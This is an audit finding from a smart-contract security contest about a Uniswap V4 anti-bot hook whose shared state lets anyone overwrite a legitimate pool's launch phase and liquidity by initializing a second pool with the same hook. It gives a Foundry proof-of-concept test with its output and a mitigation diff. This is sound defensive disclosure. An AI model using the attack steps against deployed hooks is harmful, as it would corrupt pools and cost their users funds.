Vanguard

First Flight #56
Beginner FriendlyDeFiFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Hook Can Be Attached To Multiple Pools, Overwriting Critical State

Description

The hook should maintain separate state for each pool it manages.

The hook doesn't validate which pool is initializing in _afterInitialize(). The same hook instance can be attached to multiple pools, and each initialization overwrites the previous pool's state since all state variables are shared.

function _afterInitialize(address, PoolKey calldata key, uint160, int24) internal override returns (bytes4) {
if (!key.fee.isDynamicFee()) {
revert MustUseDynamicFee();
}
// @> No validation of which pool is initializing
launchStartBlock = block.number; // @> Overwrites previous pool's value
uint128 liquidity = StateLibrary.getLiquidity(poolManager, key.toId());
initialLiquidity = uint256(liquidity); // @> Overwrites previous pool's value
currentPhase = 1; // @> Overwrites previous pool's value
lastPhaseUpdateBlock = block.number;
return BaseHook.afterInitialize.selector;
}

Risk

Likelihood:

  • Anyone can create pools permissionlessly in Uniswap V4

  • Attacker just needs to call PoolManager.initialize() with the hook address

Impact:

  • Legitimate pool's state permanently destroyed

  • Users in Pool 1 get wrong phases based on Pool 2's initialization time

  • Users in Pool 1 get wrong limits based on Pool 2's liquidity

  • All tracking (addressSwappedAmount) shared between pools

Proof of Concept

Run: forge test --mt test_MultiplePoolsOverwriteState -vv

function test_MultiplePoolsOverwriteState() public {
// Alice swaps in Pool 1
address alice = makeAddr("alice");
token.mint(alice, 100 ether);
vm.deal(alice, 100 ether);
vm.startPrank(alice);
token.approve(address(swapRouter), type(uint256).max);
swapRouter.swap{value: 0.01 ether}(
key,
SwapParams({zeroForOne: true, amountSpecified: -0.01 ether, sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1}),
PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false}),
ZERO_BYTES
);
vm.stopPrank();
// Fast forward - Pool 1 should be in Phase 2
vm.roll(block.number + phase1Duration + 1);
console.log("Pool 1 phase should be: 2");
// Attacker creates Pool 2 with SAME hook
MockERC20 token2 = new MockERC20("TOKEN2", "TK2", 18);
Currency token2Currency = Currency.wrap(address(token2));
PoolKey memory maliciousKey = PoolKey({
currency0: ethCurrency,
currency1: token2Currency,
fee: LPFeeLibrary.DYNAMIC_FEE_FLAG,
tickSpacing: 60,
hooks: antiBotHook // SAME HOOK!
});
manager.initialize(maliciousKey, SQRT_PRICE_1_1_s);
console.log("Pool 1 launch block was: 1");
console.log("Pool 1 launch block now:", antiBotHook.launchStartBlock()); // 102
console.log("Pool 1 phase actually is:", antiBotHook.currentPhase()); // 1
assertEq(antiBotHook.launchStartBlock(), block.number, "State overwritten");
assertEq(antiBotHook.currentPhase(), 1, "Phase reset to 1");
}

Output:

Pool 1 phase should be: 2
Pool 1 launch block was: 1
Pool 1 launch block now: 102
Pool 1 phase actually is: 1

Recommended Mitigation

Lock hook to single pool:

+ PoolId public authorizedPool;
+ bool public initialized;
function _afterInitialize(...) {
+ PoolId poolId = key.toId();
+ if (initialized) {
+ require(poolId == authorizedPool, "Unauthorized pool");
+ return BaseHook.afterInitialize.selector;
+ }
+ initialized = true;
+ authorizedPool = poolId;
launchStartBlock = block.number;
initialLiquidity = uint256(liquidity);
currentPhase = 1;
}
function _beforeSwap(...) {
+ require(key.toId() == authorizedPool, "Unauthorized pool");
// ... rest
}
Updates

Appeal created

chaossr Lead Judge 17 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Shared state across all pools causes new pool initialization to break existing pools

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!